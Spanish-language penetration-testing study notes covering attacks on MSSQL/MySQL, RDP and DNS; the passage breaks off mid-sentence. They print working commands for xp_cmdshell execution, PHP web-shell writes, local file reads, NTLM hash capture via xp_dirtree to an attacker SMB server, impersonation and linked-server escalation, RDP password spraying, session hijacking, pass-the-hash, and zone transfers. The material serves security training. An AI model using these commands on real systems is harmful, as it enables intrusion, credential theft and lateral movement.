• Ejecutar comandos
• Leer archivos locales
• Comunicarse con otras bases de datos
• Capturar el hash del sistema local
• Suplantar la identidad de usuarios existentes
• Obtenga acceso a otras redes

En esta sección, exploraremos algunos de estos ataques.

Ataques específicos de protocolo

Es fundamental comprender cómo funciona la sintaxis SQL. Podemos utilizar el módulo

gratuito SQL Injection Fundamentals para familiarizarnos con la sintaxis SQL. Aunque este
módulo cubre MySQL, la sintaxis de MSSQL y MySQL son bastante similares.

Leer/Cambiar la base de datos

Imaginemos que obtuvimos acceso a una base de datos SQL. Primero, necesitamos
identificar las bases de datos existentes en el servidor, qué tablas contiene la base de datos
y, por último, el contenido de cada tabla. Tenga en cuenta que podemos encontrar bases
de datos con cientos de tablas. Si nuestro objetivo no es solo obtener acceso a los datos,
necesitaremos seleccionar qué tablas pueden contener información interesante para
continuar con nuestros ataques, como nombres de usuario y contraseñas, tokens,
configuraciones y más. Veamos cómo podemos hacer esto:

MySQL - Conexión al servidor SQL

mysql -u julio -pPassword123 -h [Link]

Sqlcmd - Conexión al servidor SQL

Si apuntamos MSSQL desde Linux, podemos utilizar sqsh como alternativa sqlcmd:

sqsh -S [Link] -U julio -P 'MyPassword!' -h

Alternativamente, podemos utilizar la herramienta de Impacket con el
nombre [Link].

[Link] -p 1433 julio@[Link]

python3 [Link] Administrator@<IP> -windows-auth

El flag -windows-auth en el comando [Link] se utiliza para especificar que la

autenticación será Windows Authentication, en lugar de usar un nombre de usuario y
contraseña explícitos de SQL Server.

Cuando usas -windows-auth, el script intentará conectarse a SQL Server usando las
credenciales del sistema operativo del usuario con el que estás ejecutando el comando.
Es decir, la autenticación se realizará utilizando la cuenta de usuario actual en el sistema
(que debe ser una cuenta de Windows válida con permisos para acceder a SQL Server).

Al utilizar la autenticación de Windows, debemos especificar el nombre de dominio o el

nombre de host de la máquina de destino. Si no especificamos un dominio o un nombre de
host, asumirá la autenticación de SQL y se autenticará con los usuarios creados en SQL
Server. En cambio, si definimos el dominio o el nombre de host, utilizará la autenticación de
Windows. Si nos dirigimos a una cuenta local, podemos
utilizar SERVERNAME\\accountname o .\\accountname. El comando completo se vería
así:

Bases de datos predeterminadas de SQL

Antes de explorar el uso de la sintaxis SQL, es esencial conocer las bases de datos
predeterminadas para MySQL y MSSQL. Esas bases de datos contienen información sobre
la base de datos en sí y nos ayudan a enumerar los nombres de las bases de datos, las
tablas, las columnas, etc. Con acceso a esas bases de datos, podemos utilizar algunos
procedimientos almacenados del sistema, pero por lo general no contienen datos de la
empresa.

MySQL esquemas/bases de datos del sistema predeterminados:

• mysql- es la base de datos del sistema que contiene tablas que almacenan la
información requerida por el servidor MySQL
• information_schema- proporciona acceso a los metadatos de la base de datos
• performance_schema- es una función para monitorear la ejecución del servidor
MySQL a un nivel bajo
• sys- un conjunto de objetos que ayuda a los administradores de bases de datos y
desarrolladores a interpretar los datos recopilados por el esquema de rendimiento

MSSQL esquemas/bases de datos del sistema predeterminados:

• master- conserva la información de una instancia de SQL Server.

• msdb- utilizado por el Agente SQL Server.
• model- una base de datos de plantillas copiada para cada nueva base de datos.
• resource- una base de datos de solo lectura que mantiene los objetos del sistema
visibles en cada base de datos del servidor en el esquema sys.
• tempdb- mantiene objetos temporales para consultas SQL.
Sintaxis SQL

Mostrar bases de datos

SHOW DATABASES;

Si usamos sqlcmd, necesitaremos usarlo GO después de nuestra consulta para ejecutar la

sintaxis SQL.

SELECT name FROM [Link]

GO

Seleccione una base de datos

USE htbusers;
USE htbusers
GO

Mostrar tablas

SHOW TABLES;

SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES

GO
Seleccionar todos los datos de la tabla “usuarios”

SELECT * FROM users;

SELECT * FROM users

go
Ejecutar comandos

Command Execution Es una de las capacidades más deseadas a la hora de atacar

servicios comunes, ya que nos permite controlar el sistema operativo. Si tenemos los
privilegios adecuados, podemos utilizar la base de datos SQL para ejecutar comandos del
sistema o crear los elementos necesarios para ello.

MSSQL Tiene procedimientos almacenados extendidos llamados xp_cmdshell que nos

permiten ejecutar comandos del sistema mediante SQL. Tenga en cuenta lo
siguiente xp_cmdshell:

• xp_cmdshell es una característica poderosa y está deshabilitada de manera

predeterminada. xp_cmdshell Se puede habilitar y deshabilitar mediante
la administración basada en políticas o ejecutando sp_configure
• El proceso de Windows generado por xp_cmdshell tiene los mismos derechos de
seguridad que la cuenta de servicio de SQL Server
• xp_cmdshell Funciona de forma sincrónica. El control no se devuelve al autor de la
llamada hasta que se completa el comando de shell de comandos.

Para ejecutar comandos utilizando la sintaxis SQL en MSSQL, utilice:

Consúltenos en XP_CMDSHELL.

xp_cmdshell 'whoami'
GO

Si xp_cmdshell no está habilitado, podemos habilitarlo, si tenemos los privilegios adecuados,

usando el siguiente comando:

-- To allow advanced options to be changed.

EXECUTE sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced
options.
RECONFIGURE
GO

-- To enable the feature.

EXECUTE sp_configure 'xp_cmdshell', 1
GO

-- To update the currently configured value for this

feature.
RECONFIGURE
GO
Existen otros métodos para ejecutar comandos, como agregar procedimientos
almacenados extendidos , ensamblados CLR , trabajos del Agente SQL Server y scripts
externos . Sin embargo, además de esos métodos, también hay funcionalidades
adicionales que se pueden usar, como el xp_regwrite comando que se usa para elevar
privilegios mediante la creación de nuevas entradas en el registro de Windows. No obstante,
esos métodos quedan fuera del alcance de este módulo.

MySQL admite funciones definidas por el usuario , lo que nos permite ejecutar código
C/C++ como una función dentro de SQL. Hay una función definida por el usuario para la
ejecución de comandos en este repositorio de GitHub . No es común encontrar una función
definida por el usuario como esta en un entorno de producción, pero debemos tener en
cuenta que es posible que podamos usarla.

Escribir archivos locales

MySQL no tiene un procedimiento almacenado como xp_cmdshell, pero podemos lograr

la ejecución de comandos si escribimos en una ubicación en el sistema de archivos que
pueda ejecutar nuestros comandos. Por ejemplo, supongamos MySQL que opera en un
servidor web basado en PHP u otros lenguajes de programación como [Link]. Si tenemos
los privilegios adecuados, podemos intentar escribir un archivo usando SELECT INTO
OUTFILE en el directorio del servidor web. Luego podemos navegar hasta la ubicación
donde está el archivo y ejecutar nuestros comandos.

MySQL - Escribir archivo local

SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE 'C:/xampp/htdocs/[Link]';
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/[Link]';
En MySQL, una variable de sistema global secure_file_priv limita el efecto de las
operaciones de importación y exportación de datos, como las que realizan las
instrucciones LOAD DATA and SELECT … INTO OUTFILE y la función LOAD_FILE() . Estas
operaciones solo están permitidas para los usuarios que tienen el privilegio FILE.
secure_file_priv Puede configurarse de la siguiente manera:

• Si está vacía, la variable no tiene efecto, lo que no es una configuración segura.

• Si se configura con el nombre de un directorio, el servidor limita las operaciones de
importación y exportación para que funcionen únicamente con los archivos de ese
directorio. El directorio debe existir; el servidor no lo crea.
• Si se establece en NULL, el servidor deshabilita las operaciones de importación y
exportación.

En el siguiente ejemplo, podemos ver que la secure_file_priv variable está vacía, lo que
significa que podemos leer y escribir datos usando MySQL:

MySQL - Privilegios de archivos seguros

show variables lique "secure_file_priv";

Para escribir archivos usando MSSQL, necesitamos habilitar Ole Automation Procedures ,
que requiere privilegios de administrador, y luego ejecutar algunos procedimientos
almacenados para crear el archivo:

MSSQL: Habilitar procedimientos de automatización OLE

1> sp_configure 'show advanced options', 1

2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO
MSSQL - Crear un archivo

1> DECLARE @OLE INT

2> DECLARE @FileID INT
3> EXECUTE sp_OACreate '[Link]', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT,
'c:\inetpub\wwwroot\[Link]', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO

Leer archivos locales

De forma predeterminada, MSSQL permite la lectura de cualquier archivo del sistema

operativo al que la cuenta tenga acceso de lectura. Podemos utilizar la siguiente consulta
SQL:

Leer archivos locales en MSSQL

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts',

SINGLE_CLOB) AS Contents
GO
Como mencionamos anteriormente, por defecto una MySQL instalación no permite la
lectura de archivos arbitrarios, pero si tenemos la configuración correcta y los privilegios
adecuados, podemos leer archivos usando los siguientes métodos:

MySQL - Leer archivos locales en MySQL

select LOAD_FILE("/etc/passwd");

Capturar hash del servicio MSSQL

En esta Attacking SMB sección, analizamos que podríamos crear un servidor SMB falso para
robar un hash y abusar de alguna implementación predeterminada dentro de un sistema
operativo Windows. También podemos robar el hash de la cuenta de servicio MSSQL
mediante xp_subdirs procedimientos xp_dirtree almacenados no documentados, que
utilizan el protocolo SMB para recuperar una lista de directorios secundarios bajo un
directorio principal especificado del sistema de archivos. Cuando utilizamos uno de estos
procedimientos almacenados y lo apuntamos a nuestro servidor SMB, la funcionalidad de
escucha del directorio obligará al servidor a autenticarse y enviar el hash NTLMv2 de la
cuenta de servicio que está ejecutando SQL Server.

Para que esto funcione, primero debemos iniciar Responder o impacket-smbserver y

ejecutar una de las siguientes consultas SQL:

Robo de hash XP_DIRTREE

EXEC master..xp_dirtree '\\[Link]\share\'

GO

Robo de hash XP_SUBDIRS

EXEC master..xp_subdirs '\\[Link]\share\'

GO

Si la cuenta de servicio tiene acceso a nuestro servidor, obtendremos su hash. Luego,

podemos intentar descifrarlo o retransmitirlo a otro host.

Ataque Robo de hash XP_DIRTREE con impacket-smbserver

Luego de loguearnos con credenciales en la base de datos MSSQL, colocamos impacket-

smbserver a la escucha con “impacket-smbserver share ./ -smb2support” luego estando
conectados a la DB MSSQL ingresamos el comando “xp_dirtree \\[Link]\share”
apuntando a la ip atacante “[Link]” donde recibiremos el HASH NTLMv2 para
crackear posteriormente con “john” o con hashcat “hashcat -m 5600 [Link] [Link] -
o [Link]”.
Robo de hash XP_SUBDIRS con Responder

sudo responder -I tun0

Por alguna razón el Responder que trae Parrot OS no captura el NTLMv2 con el ataque a
continuación por lo que debemos descargar este proyecto de github
[Link] ingresamos a la carpeta Responder y ejecutamos
“python3 [Link] -I tun0” vemos a continuación que luego de loguearnos en la base
de datos MSSQL y poner el responder a la escucha, ejecutamos el comando “xp_dirtree
\\[Link]\share” desde la base de datos para capturar el hash NTLMv2 para su
posterior crackeo con “john” o “hashcat”
Robo de hash XP_SUBDIRS con impacket

sudo impacket-smbserver share ./ -smb2support

Suplantar la identidad de usuarios existentes con MSSQL

SQL Server tiene un permiso especial, denominado IMPERSONATE, que permite al usuario
que realiza la ejecución asumir los permisos de otro usuario o iniciar sesión hasta que se
restablezca el contexto o finalice la sesión. Exploremos cómo el IMPERSONATE privilegio
puede provocar una escalada de privilegios en SQL Server.

En primer lugar, debemos identificar a los usuarios que podemos suplantar. Los
administradores de sistemas pueden suplantar a cualquier persona de forma
predeterminada, pero para los usuarios que no son administradores, los privilegios deben
asignarse explícitamente. Podemos utilizar la siguiente consulta para identificar a los
usuarios que podemos suplantar:

Identificar usuarios que podemos suplantar

1> SELECT distinct [Link]

2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
Para tener una idea de las posibilidades de escalada de privilegios, verifiquemos si nuestro
usuario actual tiene el rol de administrador de sistemas:

Verificando nuestro usuario y rol actual

1> SELECT SYSTEM_USER

2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go

Como indica el valor devuelto 0, no tenemos el rol de administrador de sistemas, pero

podemos suplantar al usuario sa. Suplantaremos al usuario y ejecutaremos los mismos
comandos. Para suplantar a un usuario, podemos utilizar la instrucción Transact-
SQL EXECUTE AS LOGIN y configurarla con el usuario que queremos suplantar.

Suplantar la identidad del usuario de SA

1> EXECUTE AS LOGIN = 'sa'

2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
Ahora podemos ejecutar cualquier comando como administrador de sistemas tal y como 1
indica el valor devuelto. Para revertir la operación y volver a nuestro usuario anterior,
podemos utilizar la sentencia Transact-SQL REVERT.

Comunicarse con otras bases de datos con MSSQL

MSSQL tiene una opción de configuración llamada servidores vinculados . Los servidores
vinculados suelen configurarse para permitir que el motor de base de datos ejecute una
instrucción Transact-SQL que incluya tablas en otra instancia de SQL Server u otro producto
de base de datos como Oracle.

Si logramos acceder a un servidor SQL Server con un servidor vinculado configurado, es

posible que podamos movernos lateralmente a ese servidor de base de datos. Los
administradores pueden configurar un servidor vinculado utilizando credenciales del
servidor remoto. Si esas credenciales tienen privilegios de administrador de sistemas, es
posible que podamos ejecutar comandos en la instancia SQL remota. Veamos cómo
podemos identificar y ejecutar consultas en servidores vinculados.

Identificar servidores vinculados en MSSQL

1> SELECT srvname, isremote FROM sysservers

2> GO
Como podemos ver en la salida de la consulta, tenemos el nombre del servidor y la
columna isremote, donde 1 significa que es un servidor remoto y 0 es un servidor vinculado.
Podemos consultar sysservers Transact-SQL para obtener más información.

A continuación, podemos intentar identificar el usuario utilizado para la conexión y sus

privilegios. La sentencia EXECUTE se puede utilizar para enviar comandos de paso a
servidores vinculados. Agregamos nuestro comando entre paréntesis y especificamos el
servidor vinculado entre corchetes ([ ]).

1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')')

AT [[Link]\SQLEXPRESS]
2> GO

SELECT distinct [Link] FROM sys.server_permissions a INNER JOIN sys.server_principals b ON

a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

EXECUTE ('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')')

AT [[Link]]

EXECUTE ('SELECT * FROM OPENROWSET(BULK N''C:/Users/Administrator/Desktop/[Link]'',

SINGLE_CLOB) As Contents') AT [[Link]]

Como hemos visto, ahora podemos ejecutar consultas con privilegios de administrador del
sistema en el servidor vinculado. Como sysadmin, controlamos la instancia de SQL Server.
Podemos leer datos de cualquier base de datos o ejecutar comandos del sistema
con xp_cmdshell. Esta sección cubrió algunas de las formas más comunes de atacar bases
de datos SQL Server y MySQL durante las pruebas de penetración. Existen otros métodos
para atacar estos tipos de bases de datos, así como otros, como PostGreSQL , SQLite,
Oracle, Firebase y MongoDB , que se tratarán en otros módulos. Vale la pena tomarse un
 tiempo para leer sobre estas tecnologías de bases de datos y algunas de las formas
comunes de atacarlas también.
Comandos de MSSQL - DB

Tarea Comando SQL

-windows-auth en el comando [Link] impacket-mssqlclient -p 1433 user@<IP>
se utiliza para especificar que la autenticación -windows-auth
será Windows Authentication, en lugar de usar
un nombre de usuario y contraseña explícitos [Link] -p 1433 mssqlsvc@<IP> -
de SQL Server. windows-auth

Conectarse a SQL Server (con contraseña) [Link] usuario@servidor -p contraseña

Conectarse a SQL Server (con contraseña) con [Link] -p 1433 julio@[Link]

puerto especifico.
Conectarse a SQL Server (sin contraseña) [Link] usuario@servidor

Ver bases de datos SELECT name FROM [Link];

Seleccionar una base de datos USE nombre_base_de_datos;

Listar tablas en una base de datos SELECT * FROM

flagDB.INFORMATION_SCHEMA.TABLES

SELECT TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES;
Ver contenido completo de una tabla SELECT * FROM nombre_tabla;
select * from tb_flag;
Ver columnas específicas de una tabla SELECT columna1, columna2 FROM nombre_tabla;

Filtrar contenido de una tabla SELECT columna1, columna2 FROM nombre_tabla

WHERE columna3 = 'valor';
Filtrar contenido de una tabla con más SELECT columna1, columna2 FROM nombre_tabla
criterios WHERE columna3 = 'valor1' AND columna4 =
'valor2';
Consultar filas limitadas (por ejemplo, las SELECT TOP 10 * FROM nombre_tabla;
primeras 10)
Consultar columnas y tipo de datos de una SELECT COLUMN_NAME, DATA_TYPE FROM
tabla INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =
'nombre_tabla';
'S' corresponde a usuarios de SQL Server. 'U' SELECT name FROM sys.database_principals WHERE
corresponde a usuarios mapeados a cuentas type IN ('S', 'U');
de Windows.
Listar inicios de sesión del servidor SQL SELECT name FROM sys.sql_logins;
(usuarios a nivel de servidor)
Listar todos los inicios de sesión (incluyendo SELECT name, type_desc FROM
inicios de sesión de Windows y SQL Server) sys.server_principals;
sp_helpuser para ver usuarios en la base de EXEC sp_helpuser;
datos actual
 Atacando RDP

El Protocolo de escritorio remoto (RDP) es un protocolo propietario desarrollado por

Microsoft que proporciona al usuario una interfaz gráfica para conectarse a otro equipo a
través de una conexión de red. También es una de las herramientas de administración más
populares, ya que permite a los administradores de sistemas controlar de forma
centralizada sus sistemas remotos con la misma funcionalidad que si estuvieran en el sitio.
Además, los proveedores de servicios gestionados (MSP) suelen utilizar la herramienta para
gestionar cientos de redes y sistemas de clientes. Desafortunadamente, aunque el RDP
facilita enormemente la administración remota de sistemas de TI distribuidos, también crea
otra puerta de entrada para los ataques.

De forma predeterminada, RDP utiliza el puerto TCP/3389. Con Nmap, podemos identificar
el servicio RDP disponible en el host de destino:

nmap -Pn -p3389 [Link]

Configuraciones erróneas

Dado que RDP toma las credenciales del usuario para la autenticación, un vector de
ataque común contra el protocolo RDP es la adivinación de contraseñas. Aunque no es
común, podríamos encontrar un servicio RDP sin contraseña si hay una configuración
incorrecta.

Con la herramienta Crowbar , podemos realizar un ataque de rociado de contraseñas

contra el servicio RDP. Como se muestra a continuación, se probará la contraseña
password123 con una lista de nombres de usuario en el archivo [Link]. El ataque
encontró las credenciales válidas como administrator:password123 en el host RDP de
destino.
Crowbar - Pulverización de contraseñas RDP

crowbar -b rdp -s [Link]/32 -U [Link] -c 'password123'

También podemos usarlo Hydra para realizar un ataque de pulverización de contraseña

RDP. (Password Spraying con Hydra)

hydra -L [Link] -p 'password123' [Link] rdp

Podemos acceder mediante RDP al sistema de destino utilizando el rdesktop cliente

o xfreerdp un cliente con credenciales válidas.
Inicio de sesión RDP

rdesktop -u admin -p password123 [Link]

Ataques específicos de protocolo

Imaginemos que logramos acceder a una máquina y tenemos una cuenta con privilegios
de administrador local. Si un usuario está conectado a través de RDP a nuestra máquina
comprometida, podemos secuestrar la sesión de escritorio remoto del usuario para
aumentar nuestros privilegios y suplantar la cuenta. En un entorno de Active Directory, esto
podría dar como resultado que tomemos el control de una cuenta de administrador de
dominio o que ampliemos nuestro acceso dentro del dominio.

Secuestro de sesión RDP

Como se muestra en el ejemplo a continuación, iniciamos sesión como el usuario juurena(ID

de usuario = 2) que tiene privilegios Administrator. Nuestro objetivo es secuestrar al
usuario lewen(ID de usuario = 4), que también inició sesión a través de RDP.

Para suplantar con éxito a un usuario sin su contraseña, necesitamos tener privilegios SYSTEM
y utilizar el binario [Link] de Microsoft que permite a los usuarios conectarse a otra sesión
de escritorio. Funciona especificando a qué nombre de sesión SESSION ID (4 para la
sesión lewen de nuestro ejemplo) nos gustaría conectarnos (rdp-tcp#13 que es nuestra
sesión actual) abriremos una nueva consola como la especificada SESSION_ID dentro de
nuestra sesión RDP actual:

tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}

Si tenemos privilegios de administrador local, podemos utilizar varios métodos para
obtener privilegios SYSTEM, como PsExec o Mimikatz . Un truco sencillo es crear un servicio
de Windows que, por defecto, se ejecutará como Local System y ejecutará cualquier
binario con privilegios SYSTEM. Nosotros utilizaremos el binario [Link] de Microsoft . En primer
lugar, especificamos el nombre del servicio (sessionhijack) y el binpath, que es el comando
que queremos ejecutar. Una vez que ejecutemos el siguiente comando, sessionhijackse
creará un servicio llamado.

Para ejecutar el comando, podemos iniciar el servicio sessionhijack:

net start sessionhijack

Una vez iniciado el servicio lewen nos aparecerá una nueva terminal con la sesión del
usuario. Con esta nueva cuenta podremos intentar averiguar qué tipo de privilegios tiene
en la red, y quizás tengamos suerte y el usuario sea miembro del grupo Help Desk con
derechos de administrador de varios hosts o incluso un Administrador de Dominio.
 Nota: Este método ya no funciona en Server 2019.

RDP Pass-the-Hash (PtH)

Es posible que queramos acceder a aplicaciones o software instalado en el sistema

Windows de un usuario que solo está disponible con acceso GUI durante una prueba de
penetración. Si tenemos credenciales de texto simple para el usuario objetivo, no habrá
problema para ingresar al sistema mediante RDP. Sin embargo, ¿qué sucede si solo tenemos
el hash NT del usuario obtenido de un ataque de volcado de credenciales como la base
de datos SAM y no podemos descifrar el hash para revelar la contraseña de texto simple?
En algunos casos, podemos realizar un ataque PtH mediante RDP para obtener acceso GUI
al sistema objetivo utilizando herramientas como xfreerdp.

Este ataque tiene algunas salvedades:

• Restricted Admin Mode, que está deshabilitado de forma predeterminada, debe

estar habilitado en el host de destino; de lo contrario, se nos mostrará el siguiente
error:
Esto se puede habilitar agregando una nueva clave de registro DisableRestrictedAdmin
(REG_DWORD) en HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa. Se
puede hacer con el siguiente comando:

Cómo agregar la clave de registro DisableRestrictedAdmin

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v

DisableRestrictedAdmin /d 0x0 /f

Una vez agregada la clave de registro, podemos usarla xfreerdp con la opción /pth de
obtener acceso RDP:

xfreerdp /v:[Link] /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9

Si funciona, ahora iniciaremos sesión a través de RDP como el usuario de destino sin saber
su contraseña de texto sin formato.

Tenga en cuenta que esto no funcionará en todos los sistemas Windows que encontremos,
pero siempre vale la pena intentarlo en una situación en la que tenemos un hash NTLM,
sabemos que el usuario tiene derechos RDP en una máquina o un conjunto de máquinas y
el acceso a la GUI nos beneficiaría de alguna manera para cumplir el objetivo de nuestra
evaluación.

Atacando RDP - Comandos

Dominio Descripción
crowbar -b rdp -s [Link]/32 -U Pulverización de contraseñas contra el
[Link] -c 'password123' servicio RDP.
hydra -L [Link] -p 'password123' Forzar brutamente el servicio RDP.
[Link] rdp
rdesktop -u admin -p password123 Conectarse al servicio RDP usando
[Link] rdesktop Linux.
tscon #{TARGET_SESSION_ID} Suplantar a un usuario sin su
/dest:#{OUR_SESSION_NAME} contraseña.
net start sessionhijack Ejecutar el secuestro de sesión RDP.
reg add Habilite el "Modo de administrador
HKLM\System\CurrentControlSet\Control\Lsa restringido" en el host de Windows de
/t REG_DWORD /v DisableRestrictedAdmin /d
0x0 /f destino.
xfreerdp /v:[Link] /u:admin Utilice la técnica Pass-The-Hash para
/pth:A9FDFA038C4B75EBC76DC855DD74F0DA iniciar sesión en el host de destino sin
una contraseña.
 Atacando el DNS

El sistema de nombres de dominio (DNSDNS) traduce los nombres de dominio (por ejemplo,
[Link]) a direcciones IP numéricas (por ejemplo, [Link]). El DNS es
principalmente UDP/53, pero el DNS dependerá TCP/53más de a medida que pase el
tiempo. El DNS siempre ha sido diseñado para usar tanto el puerto UDP como el TCP 53
desde el principio, siendo UDP el predeterminado, y vuelve a usar TCP cuando no puede
comunicarse en UDP, generalmente cuando el tamaño del paquete es demasiado grande
para pasar en un solo paquete UDP. Dado que casi todas las aplicaciones de red usan DNS,
los ataques contra servidores DNS representan una de las amenazas más frecuentes y
significativas en la actualidad.

Enumeración

El DNS contiene información interesante para una organización. Como se explicó en la

sección Información del dominio en el módulo Huellas de dominio , podemos entender
cómo opera una empresa y los servicios que brinda, así como también a los proveedores
de servicios externos, como los correos electrónicos.

Las opciones Nmap -sC (scripts predeterminados) y -sV (escaneo de versiones) se pueden
utilizar para realizar una enumeración inicial contra los servidores DNS de destino:

nmap -p53 -Pn -sV -sC [Link]

Transferencia de zona DNS

Una zona DNS es una parte del espacio de nombres DNS que administra una organización
o un administrador específico. Dado que el DNS comprende varias zonas DNS, los servidores
DNS utilizan transferencias de zona DNS para copiar una parte de su base de datos a otro
servidor DNS. A menos que un servidor DNS esté configurado correctamente (lo que limita
las direcciones IP que pueden realizar una transferencia de zona DNS), cualquiera puede
solicitarle a un servidor DNS una copia de la información de su zona, ya que las
transferencias de zona DNS no requieren ninguna autenticación. Además, el servicio DNS
generalmente se ejecuta en un puerto UDP; sin embargo, cuando realiza una transferencia
de zona DNS, utiliza un puerto TCP para una transmisión de datos confiable.
Un atacante podría aprovechar esta vulnerabilidad de transferencia de zona DNS para
obtener más información sobre el espacio de nombres DNS de la organización objetivo, lo
que aumentaría la superficie de ataque. Para explotarla, podemos usar la utilidad dig
con la opción AXFR de tipo de consulta DNS para volcar todos los espacios de nombres
DNS de un servidor DNS vulnerable:

DIG - Transferencia de zona AXFR

dig AXFR @[Link] [Link]

También se pueden utilizar herramientas como Fierce para enumerar todos los servidores
DNS del dominio raíz y buscar una transferencia de zona DNS:

fierce --domain [Link]

Adquisiciones de dominios y enumeración de subdominios

Domain takeover es registrar un nombre de dominio inexistente para obtener el control de

otro dominio. Si los atacantes encuentran un dominio vencido, pueden apropiarse de ese
dominio para realizar otros ataques, como alojar contenido malicioso en un sitio web o
enviar un correo electrónico de phishing utilizando el dominio reclamado.

La toma de control de dominio también es posible con subdominios llamados subdomain

takeover. CNAME El registro de nombre canónico ( ) de un DNS se utiliza para asignar
diferentes dominios a un dominio principal. Muchas organizaciones utilizan servicios de
terceros como AWS, GitHub, Akamai, Fastly y otras redes de distribución de contenido (CDN)
para alojar su contenido. En este caso, generalmente crean un subdominio y lo hacen
apuntar a esos servicios. Por ejemplo,

Video de explicación y ataque Subdomain Takeover

El concepto del ataque

Uno de los mayores peligros de una toma de control de un subdominio es que se puede
lanzar una campaña de phishing que se considere parte del dominio oficial de la empresa
objetivo. Por ejemplo, los clientes verían el enlace y verían que el dominio customer-
[Link] (que apunta a un bucket S3 inexistente de AWS) está detrás del
dominio oficial [Link] y confiarían en él como cliente. Sin embargo, los clientes
no saben que esta página ha sido duplicada o creada por un atacante para provocar un
inicio de sesión por parte de los clientes de la empresa, por ejemplo.

Por lo tanto, si un atacante encuentra un CNAME registro en los registros DNS de la empresa
que apunta a un subdominio que ya no existe y devuelve un HTTP 404 error, lo más probable
es que podamos tomar el control de este subdominio mediante el uso del proveedor
externo. Una toma de control de un subdominio ocurre cuando un subdominio apunta a
otro dominio utilizando el registro CNAME que actualmente no existe. Cuando un atacante
registra este dominio inexistente, el subdominio apunta al registro de dominio realizado por
nosotros. Al realizar un único cambio de DNS, nos convertimos en propietarios de ese
subdominio en particular y, a partir de ahí, podemos administrar el subdominio como
queramos.

Lo que ocurre aquí es que el subdominio existente ya no apunta a un proveedor externo y,

por lo tanto, ya no está ocupado por este proveedor. Prácticamente cualquier persona
puede registrar este subdominio como propio. La visita a este subdominio y la presencia del
registro CNAME en el DNS de la empresa hacen que, en la mayoría de los casos, todo
funcione como se espera. Sin embargo, el diseño y la función de este subdominio están en
manos del atacante.

[Link]. 60 IN CNAME [Link]

El nombre de dominio (por ejemplo, [Link]) utiliza un registro CNAME para otro
dominio (por ejemplo, [Link]). Supongamos que el [Link]
caduca y está disponible para que cualquiera pueda reclamar el dominio, ya que
el [Link] servidor DNS de tiene el CNAME registro. En ese caso, cualquier persona que
se registre [Link] tendrá control total sobre el dominio [Link] hasta
que se actualice el registro DNS.

Enumeración de subdominios

Antes de realizar una toma de control de subdominio, debemos enumerar los subdominios
de un dominio de destino utilizando herramientas como Subfinder . Esta herramienta puede
extraer subdominios de fuentes abiertas como DNSdumpster . Otras herramientas
como Sublist3r también se pueden utilizar para extraer subdominios mediante la fuerza
bruta proporcionando una lista de palabras generada previamente:

Instalación de Subfinder:

git clone [Link]

cd subfinder/v2/cmd/subfinder
go build

./subfinder -d [Link] -v

Una excelente alternativa es una herramienta llamada Subbrute . Esta herramienta nos
permite utilizar resolutores autodefinidos y realizar ataques de fuerza bruta de DNS puros
durante pruebas de penetración internas en hosts que no tienen acceso a Internet.

git clone [Link] >> /dev/null 2>&1

cd subbrute
echo "[Link]" > ./[Link]
./subbrute [Link] -s ./[Link] -r ./[Link]
nslookup -type=NS [Link] [Link]
dig any [Link] @[Link]
echo "[Link]" > [Link]
python3 [Link] [Link] -s ./[Link] -r ./[Link]
dig axfr [Link] @[Link]

En ocasiones las configuraciones físicas internas están poco protegidas, lo que podemos
aprovechar para subir nuestras herramientas desde un pendrive. Otro escenario sería que
hayamos llegado a un host interno a través de pivoting y queramos trabajar desde allí. Por
supuesto, hay otras alternativas, pero no está de más conocer formas y posibilidades
alternativas.

La herramienta ha encontrado cuatro subdominios asociados con [Link]. Con

el comando nslookup o host podemos enumerar los CNAME registros de esos subdominios.

host [Link]

El subdominio support tiene un registro de alias que apunta a un depósito de AWS S3. Sin
embargo, la URL [Link] muestra un error NoSuchBucket que
indica que el subdominio es potencialmente vulnerable a una apropiación de subdominio.
Ahora, podemos apropiarnos del subdominio creando un depósito de AWS S3 con el mismo
nombre de subdominio.
El repositorio can-i-take-over-xyz también es una excelente referencia para una
vulnerabilidad de toma de control de subdominio. Muestra si los servicios de destino son
vulnerables a una toma de control de subdominio y proporciona pautas para evaluar la
vulnerabilidad.

Suplantación de DNS

La suplantación de DNS también se conoce como envenenamiento de caché DNS. Este

ataque implica alterar registros DNS legítimos con información falsa para que puedan usarse
para redirigir el tráfico en línea a un sitio web fraudulento. Los ejemplos de rutas de ataque
para el envenenamiento de caché DNS son los siguientes:

• Un atacante podría interceptar la comunicación entre un usuario y un servidor DNS

para dirigir al usuario a un destino fraudulento en lugar de uno legítimo realizando
un MITM ataque Man-in-the-Middle ( ).
• La explotación de una vulnerabilidad encontrada en un servidor DNS podría permitir
que un atacante tome control del servidor para modificar los registros DNS.

Envenenamiento de caché DNS local

Desde una perspectiva de red local, un atacante también puede realizar envenenamiento
de caché DNS utilizando herramientas MITM como Ettercap o Bettercap.
Para explotar el envenenamiento de caché DNS a través de Ettercap, primero debemos
